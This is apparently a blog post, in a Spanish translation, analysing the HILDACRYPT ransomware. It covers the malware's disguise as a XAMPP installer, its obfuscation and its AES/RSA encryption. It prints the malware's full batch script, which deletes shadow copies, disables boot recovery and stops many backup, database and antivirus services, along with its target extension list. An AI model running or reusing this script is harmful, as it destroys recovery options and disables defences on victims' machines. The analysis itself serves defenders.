{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: un nuevo ransomware ataca a los sistemas de copia de seguridad y soluciones antivirus","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\u00a1Hola, Habr! Una vez m\u00e1s, nos complace informar sobre las nuevas versiones del software malicioso de la categor\u00eda Ransomware. HILDACRYPT es un nuevo programa de ransomware, miembro de la familia Hilda, descubierta en agosto de 2019 y nombrada en honor a la serie animada de Netflix que se utiliz\u00f3 para propagaci\u00f3n del software. Hoy exploramos las caracter\u00edsticas t\u00e9cnicas de este virus de ransomware actualizado.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nEn la primera versi\u00f3n de los ransomware Hilda, hab\u00eda un enlace al tr\u00e1iler<\/a><\/noindex> de la serie animada en el mensaje de rescate. HILDACRYPT se disfraza como un instalador leg\u00edtimo de XAMPP, un distribuidor f\u00e1cil de instalar de Apache que incluye MariaDB, PHP y Perl. Adem\u00e1s, el nombre del archivo del criptor es diferente: xamp. Tambi\u00e9n, el archivo del programa de ransomware no tiene firma electr\u00f3nica.<\/p>\n

An\u00e1lisis est\u00e1tico<\/h3>\n

\nEl programa de ransomware est\u00e1 contenido en un archivo PE32 .NET, escrito para MS Windows. Su tama\u00f1o es de 135,168 bytes. Tanto el c\u00f3digo del programa principal como el c\u00f3digo del programa protector est\u00e1n escritos en C#. Seg\u00fan la marca de fecha y hora de compilaci\u00f3n, el archivo binario fue creado el 14 de septiembre de 2019.<\/p>\n

\"HILDACRYPT:
\n
\nSeg\u00fan Detect It Easy, el virus de ransomware est\u00e1 comprimido utilizando Confuser y ConfuserEx, pero estos ofuscadores son los mismos que antes; solo que ConfuserEx es el sucesor de Confuser, por lo que las firmas de su c\u00f3digo son similares. <\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT est\u00e1 realmente empaquetado usando ConfuserEx. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

Vector de ataque<\/h3>\n

\nLo m\u00e1s probable es que el programa de ransomware se detectara en uno de los sitios dedicados a la programaci\u00f3n web, disfraz\u00e1ndose como un programa leg\u00edtimo de XAMPP.<\/p>\n

Toda la cadena de infecci\u00f3n se puede ver en app.any.run sandbox<\/a><\/noindex>.<\/p>\n

Ofuscaci\u00f3n <\/h3>\n

\nLas l\u00edneas del programa de ransomware se almacenan encriptadas. Al iniciar HILDACRYPT, las descifra usando Base64 y AES-256-CBC.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Instalaci\u00f3n<\/h3>\n

\nPrimero, el programa de ransomware crea en %AppDataRoaming% una carpeta, cuyo identificador GUID (Identificador \u00danico Global) se genera aleatoriamente. Al agregar un archivo bat en esta ubicaci\u00f3n, el virus de ransomware lo ejecuta con cmd.exe:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nLuego comienza la ejecuci\u00f3n de un script por lotes para desactivar funciones o servicios del sistema.<\/p>\n

\"HILDACRYPT:
\n
\nEl script contiene una larga lista de comandos que eliminan las copias de sombra, desactivan el servidor SQL, las soluciones de copia de seguridad y el antivirus.<\/p>\n

Por ejemplo, intenta sin \u00e9xito detener los servicios de copia de seguridad de Acronis Backup. Adem\u00e1s, ataca los sistemas de copia de seguridad y las soluciones antivirus de los siguientes proveedores: Veeam, Sophos, Kaspersky, McAfee y otros.<\/p>\n

@echo off\n:: No soy realmente fan de los ponis, las chicas de dibujos animados son mejores, \u00bfno crees?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \u201cSophos Device Control Service\u201d \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \u201cZoolz 2 Service\u201d \/y\nnet stop McTaskManager \/y\nnet stop \u201cSophos AutoUpdate Service\u201d \/y\nnet stop \u201cSophos System Protection Service\u201d \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \u201cSymantec System Recovery\u201d \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \u201cSophos Health Service\u201d \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \u201cSophos Message Router\u201d \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \u201cSophos Clean Service\u201d \/y\nnet stop swi_update_64 \/y\nnet stop \u201cSophos Web Control Service\u201d \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \u201cVeeam Backup Catalog Data Service\u201d \/\nnet stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \u201cSophos MCS Client\u201d \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \u201cSQLsafe Backup Service\u201d \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \u201cSophos Safestore Service\u201d \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \u201cSophos File Scanner Service\u201d \/y\nnet stop \u201cSophos Agent\u201d \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \u201cEnterprise Client Service\u201d \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \u201cSQL Backups\u201d \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \u201cSophos MCS Agent\u201d \/y\nnet stop RESvc \/y\nnet stop \u201cAcronis VSS Provider\u201d \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \u201cSQLsafe Filter Service\u201d \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nDespu\u00e9s de que los servicios y procesos mencionados anteriormente han sido desactivados, el criptolocker recopila informaci\u00f3n sobre todos los procesos en ejecuci\u00f3n utilizando el comando tasklist para asegurarse de que todos los servicios necesarios est\u00e9n inactivos. 
\ntasklist v \/fo csv<\/i><\/p>\n
Este comando produce una lista detallada de los procesos en ejecuci\u00f3n, cuyos elementos est\u00e1n separados por comas. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservicios\u00bb,\u00ab0\u00bb,\u00ab1\u00a0896\u00a0\u00a0\u00bb,\u00abdesconocido\u00bb,\u00bb\/\u00bb\u00bb,\u00ab0:00:03\u00bb,\u00bb\/\u00bb\u00bb
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nTras esta verificaci\u00f3n, el ransomware inicia el proceso de cifrado. <\/p>\n
Cifrado 
\n<\/h3>\n
Cifrado de archivos<\/h4>\n
\nHILDACRYPT recorre todo el contenido encontrado en los discos duros, excepto las carpetas Recycle.Bin y Reference AssembliesMicrosoft. En esta \u00faltima se encuentran archivos dll, pdb, y otros cr\u00edticos para aplicaciones .Net, que pueden afectar al funcionamiento del ransomware. Para encontrar los archivos que se cifrar\u00e1n, se utiliza la siguiente lista de extensiones:<\/p>\n
«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»
\n<\/i>
\nPara cifrar los archivos del usuario, el ransomware utiliza el algoritmo AES-256-CBC. El tama\u00f1o de la clave es de 256 bits y el tama\u00f1o del vector de inicializaci\u00f3n (IV) es de 16 bytes. <\/p>\n
\"HILDACRYPT:
\n
\nEn la siguiente captura de pantalla, los valores byte_2 y byte_1 se obtuvieron aleatoriamente utilizando GetBytes(). <\/p>\n
\"HILDACRYPT:
\n
\nClave<\/p>\n
\"HILDACRYPT:
\n
\nVI<\/p>\n
\"HILDACRYPT:
\n
\nEl archivo cifrado tiene la extensi\u00f3n HCY!.. Este es un ejemplo de un archivo cifrado. Para este archivo se generaron la clave y el IV mencionados anteriormente. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Cifrado de claves<\/h4>\n
\nEl cryptolocker guarda la clave AES generada en el archivo cifrado. La primera parte del archivo cifrado contiene un encabezado que incluye datos como HILDACRYPT, KEY, IV, FileLen en formato XML, y se ve de la siguiente manera:<\/p>\n
\"HILDACRYPT:
\n
\nEl cifrado de la clave AES y del IV se realiza utilizando RSA-2048, y la codificaci\u00f3n se lleva a cabo con Base64. La clave p\u00fablica RSA se almacena en el cuerpo del cryptolocker dentro de una de las cadenas cifradas en formato XML.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Para cifrar la clave AES del archivo se utiliza la clave p\u00fablica RSA. La clave p\u00fablica RSA est\u00e1 codificada en Base64 y consta de un m\u00f3dulo y un exponente p\u00fablico de 65537. Se requiere la clave RSA privada para la descifrado, que posee el atacante.<\/p>\n
Despu\u00e9s del cifrado RSA, la clave AES se codifica con Base64, que se guarda en el archivo cifrado.<\/p>\n
Mensaje de rescate<\/h3>\n
\nAl finalizar el cifrado, HILDACRYPT guarda un archivo html en la carpeta donde cifr\u00f3 los archivos. La notificaci\u00f3n del ransomware incluye dos direcciones de correo electr\u00f3nico a las que la v\u00edctima puede contactar al atacante.<\/p>\n